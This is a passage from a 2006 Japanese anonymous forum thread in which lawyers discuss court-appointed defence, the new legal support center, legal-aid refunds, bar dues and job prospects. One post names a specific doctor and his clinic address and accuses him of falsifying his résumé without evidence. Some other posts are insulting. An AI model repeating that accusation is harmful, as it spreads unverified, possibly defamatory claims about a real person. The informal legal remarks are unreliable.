これからは完全な競争社会。後輩弁護士の育成は、将来の自分の競争相手を育てること、自分で自分の首を
絞める行為、誰がそんな馬鹿な事をするのか。将来の自分の仕事や地位をおびやかさないような
弁護士に育てることになる。要するに使い捨て。

316 :無責任な名無しさん:2006/08/08(火) 14:18:20 ID:3FRFcROI
裁判所も検察庁も、あんまり安易に接見禁止つけないでくれよお。
日常生活の伝言のためだけに弁護士が警察に呼びつけられるんだから。
私選なら、まだこういうのも報酬のウチだと考えられるけど、国選でこれやられると弁護士は大変なんだから。


317 :無責任な名無しさん:2006/08/08(火) 14:50:13 ID:iJjVT7cv

http://www.yomiuri.co.jp/feature/fe6300/news/20060808it01.htm

やっぱマスコミには何も喋らないに越したことはないな

318 :無責任な名無しさん:2006/08/08(火) 14:52:43 ID:y7cxZrk4
>>316
裁判所宛の「接見禁止一部解除申立書(発信許可願い)」の定型書式を被疑者被告人に差し入れて
「日常生活の伝言は手紙に書いて、この書類に必要事項を書いて一緒に裁判所に申請してね」
でやりすごす手もあるよ(要件不備の補正は書記官がやってくれる)。
地方だと、警察署へ接見に行くだけで車で片道3時間というところもあるから。

319 :無責任な名無しさん:2006/08/08(火) 18:19:03 ID:sqkYzIrk
>>317
タダでさえ虚言癖があるってのが記者会見前にネットレベルで出ていたんだからなおさらだよね。

320 :無責任な名無しさん:2006/08/08(火) 20:05:11 ID:7Vg7ZUA2
最初は被疑者の親族への直接取材をやめてもらうバーターだったんだから
しょうがないっしょ
当初はここまで事件が広がるとはわからなかったわけだし

321 :無責任な名無しさん:2006/08/08(火) 22:52:05 ID:vm04YL0L
これは十分に予想できていたことだよ。
やっぱり弁護過誤の一種だと思う。

広島といい秋田といい・・・

322 :無責任な名無しさん:2006/08/09(水) 00:37:04 ID:ZUqKWk5v
でも被疑者国選でこんなの回ってきたらどうしようもないな。
特別案件っていっても人数に限界はあるだろうし。
人数確保に奔走してる執行部は弁護過誤の面倒まで
見る覚悟があってやってるんだろうな。刑事得意じゃないけど、
良心から契約しようとする人達がにっちもさっちもいかない状況に
追い込まれるのは悲惨すぎるよ。

323 :無責任な名無しさん:2006/08/09(水) 00:43:00 ID:lf+dxmkT
プロボノ活動はハイリスクが結構ありますね。

324 :無責任な名無しさん:2006/08/09(水) 00:50:47 ID:IMdCczpV
はしもとって、どこの事務所でいそべんしてたの?


325 :無責任な名無しさん:2006/08/09(水) 00:56:52 ID:355UOTU5
>>322
 刑事事件で腕の良い弁護士,それなりの業績を積み重ねて,
同業者やその筋の人(ワラ)から評価を得ている弁護士は,大部分,
法テラスと契約しないと思われる。
 したがって,322氏が指摘するような事態がこれから,頻発するで
あろうということは十分に予想される。
 無罪をもらう,保釈をもらう,嫌疑不十分でパイにする,勾留理
由開示で依頼者を励ます,求刑の半分近い判決をもらう。
 そこそこ腕の良い弁護士は,そのような成果を得ているはずだ。
ところが,法テラスでは,このような成果が,全く報酬に反映され
ない。「そんな馬鹿みたいな契約ができるか!」というのが,腕が
よい刑事弁護士の感想だべさ。
弁護士の

326 :無責任な名無しさん:2006/08/09(水) 02:44:45 ID:lf+dxmkT
流れをぶった切ってスマソだが・・・・・,
「これが許されるなら俺もやりたいが,先生やっていいんだよね。
 有名なIT弁護士の先生がブログで堂々とやっているから。」
という相談を受けたけど,どう答えたらいいだろう……。_| ̄|○

ttp://benli.cocolog-nifty.com/la_causette/2006/08/cool_down_pleas.html

327 :無責任な名無しさん:2006/08/09(水) 07:41:20 ID:n7dI/UlF
うろ覚えだけど、この人児童ポルノ専門の人だっけ?

328 :無責任な名無しさん:2006/08/09(水) 07:46:40 ID:kubVopQw
被疑者国選で特別案件はスタッフ弁護士が処理するんじゃないの?

329 :無責任な名無しさん:2006/08/09(水) 08:57:46 ID:mboh1F8T
>320
直接取材を止めてもらう方策として記者会見するのはいいだろうけど、
事件についての言い分を事細かにしゃべってしまってたからね。
逮捕されて数日経ったかどうかの頃に最初の会見していたと思うし、2,3
回の接見程度で被疑者の言い分をそのまま話すというのは良くない。

330 :無責任な名無しさん:2006/08/09(水) 09:35:31 ID:9AvRb4kA
>>329
否認事件だと、被疑者から「自分の言い分を世間に伝えて欲しい。」といわれることもあるんで、
記者会見で話すこと自体はそれほど悪いこととは思えんのだけどね。
今回の場合、自白内容を外部にしゃべっちゃったのはまずいわなあ。

331 :無責任な名無しさん:2006/08/09(水) 10:16:27 ID:Q3duQrFG
あることないこと警察発表のまま報道されて多大な社会的ダメージを受けた被疑者・被告人の対抗手段がほとんどないんだよな。


332 :無責任な名無しさん:2006/08/09(水) 10:18:17 ID:hx7OVelQ
>>327
ポルノの人は別人だよ
インターネットの専門家wの人だろ

333 :無責任な名無しさん:2006/08/09(水) 10:21:47 ID:hx7OVelQ
>>330
いうても使用人じゃないんやから,伝えて欲しいと言われても,わかったけど伝えるタイミングは俺の判断にまかせてな
とか言って全体の状況見ながらしゃべらんといかんわね

>>331
ほんとにマスコミはぼろいよね。
被疑者・被告人はたいていは弱ってしまってるから泣き寝入りやし。
お上の言うことを裏付けてつるし上げするのが正義とでも思ってるんでしょう。
報道の自由なんか要らないね。

334 :無責任な名無しさん:2006/08/09(水) 11:23:39 ID:oSjJs2F+
つ「季刊刑事弁護bS7」98頁〜「弁護人のマスコミ対応 広島女児殺害事件を題材に」


335 :無責任な名無しさん:2006/08/09(水) 11:24:31 ID:Cqm9qI50
最近、なんだかすでに夏休みモードになってきてて、朝事務所に来るのは
10時ころな上に、事務所でも2ちゃんねるなんかを見る時間が増えてる。
まあ、比較的仕事が片づいて暇になってきたのもあるんだけど。
ほんとはこういうときに本など読んで勉強するといいんだろうけどなあ。

336 :無責任な名無しさん:2006/08/09(水) 11:33:44 ID:hx7OVelQ
>>334
取ってるけど最近読んでないや
目次を見ることすらなくなった
刑事はやる気にならない

>>335
俺は今雑用がバカのようにあって忙しいから勉強する気が満々ですw

337 :NO WAR:2006/08/09(水) 12:48:39 ID:w+2a5/3U
グロですが是非見て考えて欲しいと思います
イスラエルの攻撃の結果,死亡した市民たちです
明らかに子供の写真もあります

http://www.uruknet.info/?p=24885

338 :無責任な名無しさん:2006/08/09(水) 13:07:09 ID:24ypUm4v
>>326
別にいいんじゃないかな。

339 :無責任な名無しさん:2006/08/09(水) 14:01:31 ID:t8phTUcR
レバノン、アフガン、イラク、チベット、ベトナム、朝鮮、イラン、竹島、尖閣
カンボジア、東チモール、チェチェン、イスラエル、東トルキスタン・・ああきりがない。
いったいどこに「諸国民の公正と信義」があるんだろうか。戦争放棄、戦力不保持でどうやって
日本の安全を保つんだろうか。戦前軍部とマスコミの言うことを信じた国民は馬鹿だが
現在の国民も負けず劣らず馬鹿。終戦記念日を前に思うことでした。

340 :無責任な名無しさん:2006/08/09(水) 14:06:19 ID:Jbctr5as
あっそ。ホジホジ。

341 :無責任な名無しさん:2006/08/09(水) 18:50:56 ID:BHi15wcG
扶助協会を通すと、やっぱり弁護士は嫌がるよね?
依頼したい先生がいるんだけど(扶助協会のことをまだ話していない現時点では
引き受けると言ってる)やっぱり断られるもしくは嫌だと思われるよね。
直接聞くのも気がひける〜

342 :無責任な名無しさん:2006/08/09(水) 19:21:21 ID:MWJYsuYS
扶助協会だと支払が確実、
って点をプラスに評価できる側面もある。
扶助協会を利用しなきゃ行けない人の力になれる、
って点に大いにやりがいを感じる側面もある。
考え方は人それぞれではないでしょうか。

343 :無責任な名無しさん:2006/08/09(水) 20:32:55 ID:FS2xHeih
形式的には要件みたしてるけど、どっかに金持ってるだろ!と
突っ込みたくなる人もいるよー。
あと、破産を扶助でやると当事者意識が希薄になる人もいるな。
もちろん扶助でやらなきゃという人もいるけど。

344 :無責任な名無しさん:2006/08/09(水) 20:44:41 ID:Jg5QGwTd
破産の奴で、扶助協会にお金を払わない奴が一杯いる。

345 :無責任な名無しさん:2006/08/09(水) 21:29:51 ID:24ypUm4v
>>344
受任通知を送ったとたんに連絡がとれなくなる奴もいる。
扶助だと辞任するのも面倒。

346 :無責任な名無しさん:2006/08/09(水) 21:53:32 ID:Cqm9qI50
>>345
うちの会では、扶助で受けて辞任すると、着手金の半額の返還を
扶助協会から要求される。
もともと雀の涙のような着手金でやっているのに、それなりに
申立書も作った段階で依頼者と連絡が取れなくなったり、
指示した書類を持ってこなくなって辞任せざるを得なくなって
着手金の半額を返すときは、なんというか非常に切ない。

347 :無責任な名無しさん:2006/08/09(水) 22:16:57 ID:dSV+8i78
>>346
これはもっと抗議すべき

348 :無責任な名無しさん:2006/08/09(水) 22:21:47 ID:FS2xHeih
>>346
請求がストップすると連絡取れなくなる人いるねー。
だから、やばそうだと感じたら、ある程度書類を集めてから
扶助申込みをするようにしてるよ。

349 :無責任な名無しさん:2006/08/09(水) 22:46:56 ID:IMdCczpV
こちらは大阪です。
一度だけ扶助【破産】で辞任しましたが、
70%の返還を強制されました。

350 :無責任な名無しさん:2006/08/10(木) 01:00:00 ID:NCQ1ytR7
明日、阿曽山大噴火の本でもかってみようかな。

351 :無責任な名無しさん:2006/08/10(木) 04:17:54 ID:7kWTaMuZ
弁護士宛ての手紙も検閲入るってどうなの?
秘密交通権に抵触しないの?

352 :無責任な名無しさん:2006/08/10(木) 11:35:08 ID:ETA+SLYn
定食しないっつう判例が確かあった

353 :あぼーん:あぼーん
あぼーん

354 :無責任な名無しさん:2006/08/10(木) 15:22:44 ID:V8NouAP8
O阪だが、これを読んでるロー生で、本当に年棒400万円で来る人いるかな?
いれば採用するよ。但し、3年契約。

355 :無責任な名無しさん:2006/08/10(木) 15:28:55 ID:z/bQgyYC
年「棒」400万円じゃあねえw

356 :無責任な名無しさん:2006/08/10(木) 15:31:50 ID:wOoWgPMl
>>355

>>303に定義がされている「年棒」では?
ATOK使うと,「ねんぼう」で変換すると「年俸《「ねんぽう」の誤読》」って出る。



357 :無責任な名無しさん:2006/08/10(木) 15:33:05 ID:PRYWpP/j
>>356
おいおい...
ボケもいい加減にしないと....

358 :無責任な名無しさん:2006/08/10(木) 16:30:07 ID:R2er6FJp
  ヽ、.三 ミニ、_ ___ _,. ‐'´//-─=====-、ヾ       /ヽ
        ,.‐'´ `''‐- 、._ヽ   /.i ∠,. -─;==:- 、ゝ‐;----// ヾ.、
       [ |、!  /' ̄r'bゝ}二. {`´ '´__ (_Y_),. |.r-'‐┬‐l l⌒ | }
        ゙l |`} ..:ヽ--゙‐´リ ̄ヽd、 ''''   ̄ ̄  |l   !ニ! !⌒ //
.         i.! l .:::::     ソ;;:..  ヽ、._     _,ノ'     ゞ)ノ./
         ` ー==--‐'´(__,.   ..、  ̄ ̄ ̄      i/‐'/
          i       .:::ト、  ̄ ´            l、_/::|
          !                           |:    |
             ヽ     ー‐==:ニニニ⊃          !::   ト、
おれたちはとんでもない思い違いをしていたようだ。これを見てみろ。
まず「年棒」を英字で表記する
『NENBOU』
これを逆にすると、
『UOBNEN』
そしてこれを更に日本語に直すと
『ウオブネン』
もうすぐ終戦記念日だから末尾に『靖国神社』を加えるのが当然だ。
すると導き出される解は
『ウオブネン靖国神社』
そして最後の仕上げに意味不明な文字『ウオブネン』
これはノイズと考えられるので削除し残りの文字を取り出す。
するとできあがる言葉は・・・・・・『靖国神社』。

つまり!『年棒』とは『靖国神社』を表す言葉だったのだ!!



359 :無責任な名無しさん:2006/08/10(木) 22:26:54 ID:GQZc7e5c
>>349
大阪は、特に、理事者らの態度がでかいよ。
しかも日本一収奪額(会費等)が多い。近く、バカでかいビルを完成する。
もち、会員から召し上げた金で建てたもの。今後、長期間、新入会員からも取り立てる。
すべて、●坊らが作った路線です。

てメーラは、俺らのうえにあるに過ぎない、砂上楼閣の存在だということを分かってない。
競争社会というなら、まずは、独占団体の日弁連、単位弁護士会を任意団体にして、
しかも、複数作ることを提案する。

どうだ、これに答えられるかってんだ!

360 :無責任な名無しさん:2006/08/10(木) 22:28:21 ID:xgj6zzqo
八王子支部の移転で、立川に弁護士会館つくることになるんだろうけど、
また負担が増えるのかな・・

361 :無責任な名無しさん:2006/08/11(金) 00:32:47 ID:zUbKAlJZ
年棒って、うまい棒みたいなものかよ。

362 :無責任な名無しさん:2006/08/11(金) 00:42:35 ID:zKv3tS/9
年棒→年間に支給される「うまい棒」購入費

363 :無責任な名無しさん:2006/08/11(金) 02:47:49 ID:msJT0kUb
東京は若手の減免措置やめたらすぐ立川の弁護士会会館なんかできるだろ
だいたい渉外で1000万超える「給料」を取ってるやつの減免措置なんてあり得ない。
安い給料のやつだけ減免すれば上等だよ

364 :無責任な名無しさん:2006/08/11(金) 09:04:32 ID:HftWE9Xj
立川は支部なんだから
支部の会員で何とかするんじゃないの???


365 :無責任な名無しさん:2006/08/11(金) 14:50:12 ID:ZLpJbT7w
むしろ3会を統一してほしい。→あり得ない夢物語だが。

そして、連絡は原則メールとし、メールを拒む会員からはファックス送信費用を上乗せして会費請求しろ。
それだけでいくら浮くんだろう。

366 :無責任な名無しさん:2006/08/11(金) 15:49:25 ID:pW4NTdKS
三会が統一しちゃうと、他の単位会に比べてあまりにも巨大な会ができちゃうから、
それはそれで問題のような気もする。
日本の弁護士の過半数が所属する単位会なんだから、東京統一会の意見が出ちゃうと、
他の弁護士会はモノを言いづらくなるような。


367 :無責任な名無しさん:2006/08/11(金) 15:51:24 ID:dU6zIuT0
究極の DQN 医師 荒牧 謙
荒牧 謙 医師は、経歴(履歴)を詐称しています。

父親は、東京女子医大・第2病院 耳鼻科の前教授 しかし、息子はDQN
上野・南新宿で美容形成やっているDQN

上野トータルビューティークリニック
東京都台東区東上野3-37-9 かみちビル3F

368 :無責任な名無しさん:2006/08/11(金) 20:02:50 ID:xfMrwOJf
 今度は、「私はなぜ司法支援センターと契約したか」か。
 反対派のFAXにあせったわけではないのであろうが、思ったより契約が伸び悩んでいるのだろか。
 しかし、雑誌の広告みたいだな(たった三日で成績が学年10位に!)。

369 :無責任な名無しさん:2006/08/11(金) 22:06:30 ID:y96fNH8Q
>>368
(原文のママ)。
「刑事関連名簿登録及び司法支援センター契約委任について」
 札幌弁護士会会長から上記統一名簿への登載等につき、ご勧誘をいただき、
その申し出をしたのは、その勧誘文に、「被疑者、被告人の刑事弁護は、
私たち弁護士が担ってゆかなければならない弁護士だけに課せられた基本
的職責」であるというお言葉に共鳴し、当会並びに日弁連が悲願とする長年
に亘ってご尽力された被疑者国選弁護制度は、司法支援センターが介在する
ことになったものの、一応実現したのであるから、刑事弁護と弁護の自主性、
独立性に問題があるにせよ、一歩前進として、今後自分の健康が、その職責
を果たせる迄の間は、頑張って行こうと考えたからです。


370 :無責任な名無しさん:2006/08/11(金) 22:17:14 ID:kk4zmdgi
日本語の文章としてもレベルが低いな・・・

371 :無責任な名無しさん:2006/08/11(金) 23:10:31 ID:ptWv5RHl
明らかにやる気のないやつに起案を押し付けたな。そうでもしなけりゃ義理がたたなかったんだな。

372 :無責任な名無しさん:2006/08/12(土) 00:52:42 ID:E6jLfdHr
369の文章書いた人は、実は法テラスに反対のようだ

373 :無責任な名無しさん:2006/08/12(土) 01:15:01 ID:6V4y1GXy
現在の日弁連刑弁センター委員長は札幌弁護士会所属の「太勝」という
人なのだ(フトカツ・タカツ・タショウ???結構高名なセンセらしい)
この人が,
 <法テラスは出来てしまったから仕方がない。出来ちゃった以上よい子
に育てよう>と発言した。
 弁護士が,いわゆる「できちゃった婚」を容認することは,倫乱を助長
することにつながり,容認しがたい。
 「よい子に育てよう」と言っても実際は「悪魔の子」なのだから,出産前に
殺した方がよい。

374 :無責任な名無しさん:2006/08/12(土) 01:36:33 ID:beXsgO4N
369は年配の先生なのかな?こんな調子で訴状書かれたら読むの嫌になるな。

375 :無責任な名無しさん:2006/08/12(土) 02:45:30 ID:GAnmTl6y
昔は三会統一すればめんどくさくなくていいと思ったこともあったが、
東京=日弁連となってしまうのはやっぱり問題。
最近では多摩支部を本会から切り離し独立採算制にさせるべきだと思っている。

376 :無責任な名無しさん:2006/08/12(土) 08:39:03 ID:2+ftMR39
>369
何でこんなに一文が長いんだ。
しかも一文の中で言いたいことが二転三転している感じ。
書きたくないと思いながら、法テラスのパンフか何か見ながら、そこに
書いてある言葉を羅列し、文字数を埋めたって感じだね。
変な日本語のまま提出したのが、せめてもの抵抗って感じかな。

377 :無責任な名無しさん:2006/08/12(土) 10:47:59 ID:O6Tu4rly
>>369

「我々の偉大なる指導者,国防委員長であらせられる金正日将軍様のご慈悲のもとで,
 このたび法テラス第2工場が完工せられ,我々人民は新しい労働の場所を得ることができ,
 最高の喜びに包まれています。
 我々の自主独立と朝鮮人民の歴史を理解しようとしないばかりでなく,あまつさえ朝鮮人民を
 陥れようとしている米国日本の帝国主義に対しては,この法テラス第2工場の生産が先鋒となり,
 必ずや祖国の独立を勝ちとり,偉大なる指導者金正日将軍のもとで,朝鮮人民が誇りを得ることになるでしょう。」

378 :無責任な名無しさん:2006/08/12(土) 13:03:35 ID:z0zaVEoZ
http://blog.moura.jp/legalmind/
動画を見て味噌。話ぶりが頑固爺みたいだ。
西田先生ってなんか商売人タイプだな


379 :無責任な名無しさん:2006/08/12(土) 17:36:03 ID:2JeVaWA8
>>378ざっくらばんな感じで、意外に好感持てるな

380 :無責任な名無しさん:2006/08/12(土) 20:04:59 ID:E6jLfdHr
司法試験板と違ってここはのどかでいいなあ。
2ちゃんって結局不満のはけ口なんだろうなあ。

381 :無責任な名無しさん:2006/08/12(土) 21:18:52 ID:OGwq0KIq
>>380
司試板が殺伐としてるのはしょうがない。試験の事で頭が一杯だし受かっても
これからは就職の問題もある。

来年は新旧合わせて2500人が研修所を卒業する。確実に就職できない人が
出るだろう。法曹需要を無視してこんなに無責任な増員案を支持した執行部の
責任は重い。

382 :無責任な名無しさん:2006/08/12(土) 22:19:17 ID:5SxtagJq
1500人でも就職厳しいんだからねー。
しかも59期の場合、駆け込み需要があったからよかったものの、
その後の2500人だからね。
ほんとにどうすんだと執行部に聞きたい。

383 :無責任な名無しさん:2006/08/12(土) 23:22:21 ID:wSPFLceM
司法書士、会計士、税理士と同じになるんだろうね。
法科大学院に行った人は高額の授業料払ってるから、哀れとしか言いようがない。

384 :無責任な名無しさん:2006/08/12(土) 23:42:14 ID:U2plfktF
砂糖工事が馬鹿だというのが証明されたな。
ま、わざわざ本を書いておきながら人に理解できない内容であるって段階で馬鹿だとは思っていたが。

385 :無責任な名無しさん:2006/08/13(日) 00:33:31 ID:wR+WcAwA
岡口さんのところも荒れてるね。

386 :無責任な名無しさん:2006/08/13(日) 01:20:47 ID:lFdoiACh
>>384
 京大教授として本を書いていたころの砂糖工事先生は,やはり,立派だったと思うよ。
 特に序文は,受験生時代には分からなかったけど,今読むと,味わい深いと思う。
「法の存在理由は,芸術の場合と同じように,人間実存の多様性と無秩序を慈しみつつ・・・」

387 :無責任な名無しさん:2006/08/13(日) 01:27:15 ID:xY50oTvG
迷惑行為を「法に触れていないから」と言って正当化し、
反論する相手を「お前がおかしい」などと決め付け得意気なこいつを、
どなた様か論破してくださいませm(__)m
↓↓↓
http://hobby7.2ch.net/test/read.cgi/car/1154334009/779

388 :無責任な名無しさん:2006/08/13(日) 01:27:36 ID:oMuciQg/
国選にしたせいか、全く動いてくれない。
控訴趣意書も提出前に一緒に確認してから出しましょうと言ってたのに_実際に受け取ったのは提出の三日前、それも三連休を挟んでたため、慌てて電話したけど居留守。
結局当日に掴まえたけど、直してほしいところを伝えたものの面倒くさがって無視、それを書かなきゃ控訴した意味なんてないのに。
おまけに趣意書は前任が書いた弁論要旨の丸写し。
嫌なら国選なんて受けなきゃ良いのに、こちらも恐縮して何も強く言えなかったけど、
こんなはずれくじを引かされて、本当に迷惑。
何とか既に提出されてしまった趣意書を無効にできないだろうか。
補充書の提出だけでは無理だ。

389 :無責任な名無しさん:2006/08/13(日) 03:51:33 ID:jWtRxjub
>>386
立派だった時期を限定しているのがなんとも悲しいですね。

390 :無責任な名無しさん:2006/08/13(日) 05:38:34 ID:Xokk6ioL
>>382
今年無理した反動が出て、来年は悲惨なことになるだろうな。
ヘタすると千人以上あぶれる。

391 :無責任な名無しさん:2006/08/13(日) 06:33:31 ID:lFdoiACh
>>389
 いかにも。私たちの年代は,砂糖工事先生の改訂前の教科書で合格した世代だ。
 本がぼろぼろになるまで読んだ(と言うか,1−2回読むと特に乱暴に扱ったわけでもないのに
ぼろぼろになってしまう←製造物責任が問われる造本)。それだけに,砂糖工事先生が,お気の毒
で仕方がない。

392 :無責任な名無しさん:2006/08/13(日) 09:21:32 ID:z97VSw6E
>>390
( ´д)ヒソ(´д`)ヒソ(д` )ヒソ




393 :無責任な名無しさん:2006/08/13(日) 10:47:25 ID:XrIg1BFH
原告代理人たる弁護士が、裁判所に釈明処分を請求する時は、通常、被告との口頭弁論で
どのような状況下で行使することが多いのですか。




394 :無責任な名無しさん:2006/08/13(日) 11:01:23 ID:NsuwxUMP
相手しか知り得ない事実を聞くとき。相手しか持っていない資料の提出を求めるとき。

395 :無責任な名無しさん:2006/08/13(日) 12:00:56 ID:Y5F/rHAL
>>388
本来はスルーすべきなのだが個人的感想として。

被告人の言い分をそのまま趣意書に入れることを拒否することは良くある
法律的な主張じゃないことが多いからね。そのまま入れたら弁護士としての見識を疑われそうだし。
被告人があまりにうるさい場合は、被告人作成の控訴趣意書を別に提出させる。
被告人はこんなこと言っとりますが、当職は関係ないですよ。というスタンス。

396 :無責任な名無しさん:2006/08/13(日) 12:23:56 ID:a2cGhDr7
>388
 国選に期待するなということです。
 ちなみに、これかの国選はもっとレベルが下がると思われます。国選で食べていく弁護士が増加しますが、もともと売上高が低いので、原価(手間、時間)を大幅に削らなければならないからです。

397 :無責任な名無しさん:2006/08/13(日) 12:33:21 ID:Yj2MZY3m
判決の署名欄で、
「裁判官・・は、差し支えのため署名できない。」
っていうのはどういう意味だっけ?
病気、退官、転勤、・・・反対意見で負けたってこと?

398 :無責任な名無しさん:2006/08/13(日) 12:34:19 ID:qYnfcBcs
>>394
相手が提出を拒否した場合は、罰則はありますか。
また、文書提出命令で行政の決裁書や交渉記録の提出を求めることは可能ですか。

399 :無責任な名無しさん:2006/08/13(日) 12:40:22 ID:3zXd5h4h
>>397
判決宣告法廷に立会できないとき。
合議(評議)は内部的に成立していることが前提。

400 :無責任な名無しさん:2006/08/13(日) 12:44:40 ID:3YYzyqKS
当番弁護で電話接見を実現して欲しい。
ほとんど電話で済む場合が多い。というか、そんなくだらんことで
呼ぶなというケースがほとんどだ。
執行部の皆さん宜しくお願いします。

401 :無責任な名無しさん:2006/08/13(日) 13:38:32 ID:lFdoiACh
>>399
 民事の場合は,判決内部的成立→署名→判決言い渡し
と言う経過をたどるのだから,それはちょっと違うのじゃないか?
 そういえば,「裁判官 山田花子は 婚姻のため 村田花子 
に氏が変更された。裁判長 ○○」
と言う判決をもらったことがある。

402 :無責任な名無しさん:2006/08/13(日) 13:45:04 ID:3zXd5h4h
>>401
民事はご指摘のとおり
399は刑事の場合です

403 :無責任な名無しさん:2006/08/13(日) 13:45:13 ID:lFdoiACh
>>399
 判決の内容について合議が成立→主任が起案し,部長が点検。
その間に右が新婚旅行に出かける。→飛行機が落ちて死亡。
判決文がプリントアウトされ,署名する段取りが整う。
「裁判官○○は死亡につき,署名が出来ない。」
とか,そういう感じではないだろうか?

404 :無責任な名無しさん:2006/08/13(日) 13:47:42 ID:ziDCtV5n
ある条例で
第1項 原則の内容
第2項 例外の内容(いわゆる但し書き)

がありまして、最初から担当者が第2項でいきますよ(担当課長了解)といって内規に基づき
行政指導してきた事実にもあるのに、第1項に該当するから不許可にしますという処分を行った場合
裁量権の逸脱濫用に該当しますか。

405 :無責任な名無しさん:2006/08/13(日) 13:51:35 ID:lFdoiACh
 スマソ。age進行で逝ってしまった。

406 :無責任な名無しさん:2006/08/13(日) 14:00:16 ID:Y5F/rHAL
○こちらは弁護士の方や関係者などの雑談スレになります。
○特定の個人名、事務所名、電話番号、住所などは絶対に書き込まないでください。
○司法試験関係は 「司法試験板」 http://school5.2ch.net/shihou/ がございます。
○法律相談は、最寄りの法律相談センターや弁護士会、各種相談スレまたは下記スレへ。

やさしい【易しい】法律相談part183
http://school5.2ch.net/test/read.cgi/shikaku/1153354023/
------------------------------------------------------------
○弁護士の本音トークスレです。
 したがって,それ以外の話題,たとえば
 ×弁護士に対する相談
 ×弁護士以外の人の過度のスレ参加
 はなるべくご遠慮ください。
○荒らしは無視の方向でしかるべく。
○なるべくsage進行で。


407 :無責任な名無しさん:2006/08/13(日) 14:04:46 ID:Y5F/rHAL
●法律相談は スルー の方向でしかるべく

408 :無責任な名無しさん:2006/08/13(日) 15:49:24 ID:9/cVJlLi
>>393>>398>>404は他のスレで「いつもの人」として有名な人です。
いつまでもいつまでも質問を繰り返すので決して相手にしないで下さい。

409 :無責任な名無しさん:2006/08/13(日) 20:22:02 ID:oMuciQg/
>>395 396
レスありがと。
確かに国選だからしかたないやってこちらも思ってるから強く言えないんだけどね。
趣意書の件も納得だけど、だったら予め余裕を持って依頼者の意に沿えないことを伝えて、
嫌なら自分でも趣意書を提出できることを伝えるなり、辞任するなりしてくれればいいものを、
ギリギリになってそれをやられたら、こちらは最後のチャンスを潰されるわけで、本当に迷惑なんだよね。
395さんみたいに、自分で趣意書を提出するように促してくれるような弁護士だったら良かった。
スレ違いでごめんなさい。

410 :無責任な名無しさん:2006/08/13(日) 20:28:15 ID:zkeqC6zm
>>409
何寝言言ってるの?
その弁護人にとって、依頼者は君じゃないんだが。
だから、君の意に沿う必要は全くない。
又、国選弁護人は君が私選弁護人を頼まない限り、辞任できない。
(裁判所が認める、よほどの理由があれば弁護人から辞任は出来るが、逆に言えば
滅多なことでは自分から辞任できない。)
迷惑だっていうのなら、すぐに私選弁護人に変えろ。

411 :無責任な名無しさん:2006/08/13(日) 21:07:28 ID:bKH9l3iQ
国選弁護の依頼者は裁判所だよ。
秋からは法テラス。

内容は知らないが、あんたの控訴趣意書などあっても無くても
大勢に影響無いと思われ。

412 :無責任な名無しさん:2006/08/13(日) 21:09:43 ID:ibAFdLeZ
>>411
正確には,秋からも国選弁護人を選任するのは裁判所だ。
法テラスは選任弁護士を選定依頼するだけ。

413 :無責任な名無しさん:2006/08/13(日) 21:58:36 ID:Y5F/rHAL
ところで、法テラスと契約しましたか?

私は様子見中です。
やらなくても良いんだか(手間と報酬を考えるとやらない方が良いんだが)、
国選辞めると刑事が全くなくなるのが寂しい気もする

414 :無責任な名無しさん:2006/08/13(日) 22:13:24 ID:oMuciQg/
>あんたの控訴趣意書などあっても無くても 大勢に影響無いと思われ。
この言い草はないんじゃない?
2ちゃんとはいえ、訂正して謝ってもらいたい。詳細もしらないくせに。
こちらは最後のチャンスを潰されたかもしれないんだ。
嫌なら国選の仕事先など受けず、大枚はたかなきゃウチは弁護はひきうけない、
って方針でやればいい。
中にはよく対応してくれるいい弁護士に当たる人もいるのに、
やる気のない無能弁護士にあたっていい迷惑だ。
こういう弁護士には一切国選の仕事を与えないように、きちんと管理してもらいたいと思った。
少ないとはいえタダで仕事をしているわけではないんだし、自分から仕事を頼んでもらっている以上、
真面目に取り組むべきでしょう。


415 :無責任な名無しさん:2006/08/13(日) 22:21:56 ID:bKH9l3iQ
>>414
訂正も何も、公判廷で出せばいいじゃんw

416 :無責任な名無しさん:2006/08/13(日) 22:25:31 ID:I9579Z5j
公訴維持ってどういう意味ですか。

417 :無責任な名無しさん:2006/08/13(日) 23:21:46 ID:X0ltJlBM
>>414

あほか。
国選なんぞ、ボランティアにすぎない。
もちろん、真面目にボランティアをするが、
ボランティア仕事に弁護されるのが嫌なら、大人しく
私選を選任しろ。

418 :無責任な名無しさん:2006/08/13(日) 23:25:31 ID:Y5F/rHAL
一回、大麻関係の控訴をやったことがあるが
大麻規制は違憲です。憲法問題としてやってくれ、といわれたときは閉口した。
そりゃまあ、そういう意見もあるだろうが、一審で執行猶予ついていて
税金使って国選に頼む仕事じゃないだろう。私選やとえよ。まったく。

419 :無責任な名無しさん:2006/08/14(月) 01:01:44 ID:VGiZWshl
弁護士さんに質問です。
破産事件を依頼し、無事免責が降りた者ですが、弁護士さんと事務員さんに御礼をしたいと考えています。
弁護士さんへの贈り物で悩んでいるのですが、どのような品物が喜ばれるでしょうか?
教えていただけるとうれしいです。
弁護士さんのスレに書き込みしてごめんなさい

420 :無責任な名無しさん:2006/08/14(月) 03:15:11 ID:jKSPNlrM
>>419
安くていいから珍しい郷里の名産
それなら気持ちが現れていいいよ
たいていのギフトはゲップ状態だし

421 :無責任な名無しさん:2006/08/14(月) 03:18:43 ID:pG/SzbsO
珍しくてもおいしくなければヘコむけどw

422 :無責任な名無しさん:2006/08/14(月) 03:35:28 ID:jKSPNlrM
なお,郷里の名産でもザザ虫は止めた方がいいです。
長野県出身者でないとたいていドン引きですから。

423 :無責任な名無しさん:2006/08/14(月) 07:12:53 ID:XOdpoy6y
そう言えば、広告熱心な長野の先生、やっちゃったようだね。

424 :無責任な名無しさん:2006/08/14(月) 09:05:08 ID:9YogvbRQ
何をやったの?
○木のことだろ?

425 :無責任な名無しさん:2006/08/14(月) 10:09:50 ID:NJy0AGbn
○木じゃないよ。

探偵会社とタイアップして広告文書をDMで8000通送った。
まあ、処分は戒告だから、やったもん勝ちの事案だな。

426 :無責任な名無しさん:2006/08/14(月) 10:41:29 ID:epe+TFDv
>>419
 地元の銘菓とか銘酒はやめた方がよい。
 農家の客からの米・ナシ・イチゴ等は美味しいし,「弁護士やってて
良かった」と思う。
 あと,事務所に来るたびに同じ品物を持っていくのはやめた方がよい。
 例えば,「また餃子かよ」(栃木),「またひつまぶしか」と思われる。

427 :無責任な名無しさん:2006/08/14(月) 11:04:53 ID:IQkvkpMA
>>426
なにをおもいあがって...いやいやいいけど...

428 :無責任な名無しさん:2006/08/14(月) 11:26:22 ID:K5DiCjSp
俺は銘菓、銘酒で全然OKだな。
